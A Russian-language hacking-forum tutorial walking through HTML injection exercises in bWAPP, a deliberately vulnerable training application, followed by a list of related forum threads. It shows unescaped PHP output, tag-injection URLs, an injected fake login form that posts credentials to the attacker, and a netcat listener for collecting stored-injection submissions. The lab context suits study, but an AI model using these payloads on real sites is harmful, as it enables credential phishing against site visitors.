HTML/CSS инъекция в веб-приложениях

H

Hackers Academy

Original poster
HTML/CSS инъекция в веб-приложениях
В данной статье я решил собрать примеры эксплуатации HTML/CSS инъекций на примере одной из площадок по тестированию веб-приложений. Buggy web application — bWAPP
Это open source веб-приложение, свободное для скачивания. Я надеюсь, что наткнувшись на эту статью вас заинтересует тема информационной безопасности (ИБ) или она станет просто хорошей шпаргалкой для решения похожих задач. Если возникают вопросы, я буду рад ответить на него в комментариях.
Сегодня мы рассмотрим четыре уязвимости с раздела A1-Injection:
/HTML Injection - Reflected (GET)/
/HTML Injection - Reflected (POST)/
/HTLM Injection - Reflected (URL)/
/HTML Injection - Stored/
Теория возникновения уязвимости
Для знающих можно сразу пролистать. HTML/CSS инъекция становится возможной из-за некорректной проверки данных, которые вводит обычный пользователь. Веб-разработчик иногда не предполагает что пользователь введет в поле имя <h1>Боб</h1> вместо Боб, но результат будет кардинально отличаться. Эта уязвимость позволяет сильно испортить ресурс или полностью изменить его... Примеры такого кода.
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>


HTML Injection - Reflected (GET)
С названия сразу понятно, что для уязвимости будет использоваться метод передачи параметров в URL. После входа на страницу мы можем наблюдать поля для ввода.
HTML/CSS инъекция в веб-приложениях, изображение №1


После ввода тестовых данных наша адресная строка имеет вид:
htmli_get.php?firstname=test&lastname=test&form=submit
Из нее мы видим, что передаются два параметра firstname и lastname и видим на экране обычный результат:
HTML/CSS инъекция в веб-приложениях, изображение №2


Теперь попробуем добавить HTML теги в нашу адресную строку:

htmli_get.php?firstname=<h1>test</h1>&lastname=<h2>test</h2>&form=submit
Мы добавили два тега заголовка <h1> и <h2> и результат вывода на экран показывает, что данная страница уязвима к HTML инъекции:
HTML/CSS инъекция в веб-приложениях, изображение №3


Дальше страница полностью в нашем распоряжение и мы можем делать все, что вздумается, к примеру, использовать такой HTML код, просто введя его в поле firstname :
<h3>Please Enter Your Username and Password to Proceed:</h3>
<form method="POST" action="

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

login.php">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Login" /></form><!--
Результатом такой инъекции является полная замена страницы на поле авторизации и все введенные данные будут отправлены вам.
HTML/CSS инъекция в веб-приложениях, изображение №4


HTML Injection - Reflected (POST)
Отличие между этой и предыдущей инъекцией небольшое, а точнее только в способе передачи параметров. В POST запросе параметры передаются внутри пакета и для его просмотра можно использовать Burp Suite:
HTML/CSS инъекция в веб-приложениях, изображение №5


Дальнейшая методика инъекции полностью совпадает с предыдущим примером, но все параметры заменяются не в URL страницы, а в теле POST пакета.
HTML/CSS инъекция в веб-приложениях, изображение №6


HTML Injection - Reflected (URL)
Своеобразная уязвимость, основанная на работе самого сервера. На странице работает js, который считывает текущий URL пользователя и выводит его на страницу. Хорошее описание можно найти на страницу по DOM-XSS

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


HTML/CSS инъекция в веб-приложениях, изображение №7


Для ее эксплуатации нужно всего лишь добавить необходимые значения после адреса текущей страницы:
htmli_current_url.php#<h1>XSS DOM</h1>
htmli_current_url.php?<h1>XSS DOM</h1>

HTML/CSS инъекция в веб-приложениях, изображение №8


HTML Injection - Stored
Данный пример основан на всех предыдущих и необходим для наглядной эксплуатации HTML Injeaction. При входе на страницу мы видим возможность публиковать сообщения (они сохраняются в базе данных и выводятся всем, кто посетил эту страницу).
HTML/CSS инъекция в веб-приложениях, изображение №9


Есть несколько способов поэксплуатировать страницу:
  1. Отправить тег открытия комментария <!-- , что позволит полностью остановить работу т.к. новые данные будут восприниматься как комментарий к коду.
  2. Выделять свои сообщения с помощью специальных тегов <b><h1-3><i><img> и др.
  3. Полностью заменить страницу и перенаправить вводимые данные к себе.
К примеру, рассмотрим третий пункт. Для начала нам нужно поставить прослушивание порта на своем компьютере. Для ОС Linux используется такая команда, как nc -vlp 80. Дальше вставляем текст, который заменит исходную страницу на нужную нам.
HTML/CSS инъекция в веб-приложениях, изображение №10


Осталась самая скучная и долгая часть - ждать, когда кто-то введет свои данные на странице и нажмет отправить…
HTML/CSS инъекция в веб-приложениях, изображение №11



Поделиться Сохранить в закладках
Ещё

165 просмотров

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


9 фев в 11:55
Вы подписаны
 
  • Like
Реакции: Ltybcrf
Название темы
Автор Заголовок Раздел Ответы Дата
Elliot_service Закрыто Пишу web-проекты | Копии сайтов | Поднимаю сервера | Маркетплейсы | ТГ Боты | Скрипты | Крипта | python, php, js, MySql, html/css Корзина 1
S Курсы по c++ , c# , php , python , css , html и т.д. С/C++ 4
Ж HTML/CSS, Урок 2 Другие ЯП 3
Ж Садись присаживайся, курс по HTML/CSS, урок 1 Другие ЯП 1
B Взлом сайта и кража всех исходников (css,js,html) Полезные статьи 3
Traven Слив платного курса по HTML/CSS за 12.000 рублей Другие ЯП 11
S создание сайта на html и css Ищу работу. Предлагаю свои услуги. 8
O Уроки по HTML & CSS Другие ЯП 1
G 6 полезных книг по HTML и CSS Полезные статьи 5
S Изучение html, css!!! Другие ЯП 2
Support81 HTML Smuggling — новая угроза для европейской кибербезопасности Новости в сети 1
У Админ шаблон Limitness v 4.0 (HTML Adaptive) 132MB Сайты/Хостинг/Сервера 0
grum Закрыто Набор в команду (нужны люди со знанием html , c++ , java , электроника ) Корзина 1
Denik Интересно HTML ШАБЛОН ПО ПРОДАЖЕ ЧИТОВ RUST Другое 0
M адаптированный HTML шаблон LANDING PAGE Другое 0
M Шаблон JB desks Responsive HTML Template Сайты/Хостинг/Сервера 0
M Brightbox - Business Agency Template HTML Другое 0
H HTML and Javascript Teacher - Code examples in HTML and Javascript. Другие ЯП 0
P Проверено Создание HTML-писем/Рандомизация текста | Creating HTML-letters/Text Randomization Услуги дизайнеров/веб-разработчиков 0
A Введение в HTML DOM (модель объекта документа) Другие ЯП 0
BuriTTo Помощь в PHP\JS\HTML, API VK\ Telegram бесплатно. Ищу работу. Предлагаю свои услуги. 0
K Напоследок 360 гигабайт курсов по программированию на английском языке (Открываем файл index.html и смотрим список курсов ) Другое 0
H Как своровать магазин на html Другие ЯП 0
R Шпаргалка по HTML Другие ЯП 0
R Адаптивных HTML шаблона v2/ → 3 шт Другие ЯП 0
N [Школа современных технологий] HTML PRO. Профессиональная вёрстка Другие ЯП 3
M Учим HTML Софт для работы с текстом/Другой софт 17
G HTML шаблоны под любые нужны Полезные статьи 2
С Вопрос к тем, кто знаком с html и java скриптами Вопросы и интересы 0
АнАлЬнАя ЧуПаКаБрА Ivi.ru B&C [Private Keeper] - HTML Log Проекты Private Keeper 0
K Можно ли хакнуть сайт HTML,JC.Если да,то помогите как ? Свободное общение и флейм 0
Y CSS. Изменяем отображение любого сайта Полезные статьи 0
S Взлом админки CSS & CSGO с помощью плагина Раздача email 4

Название темы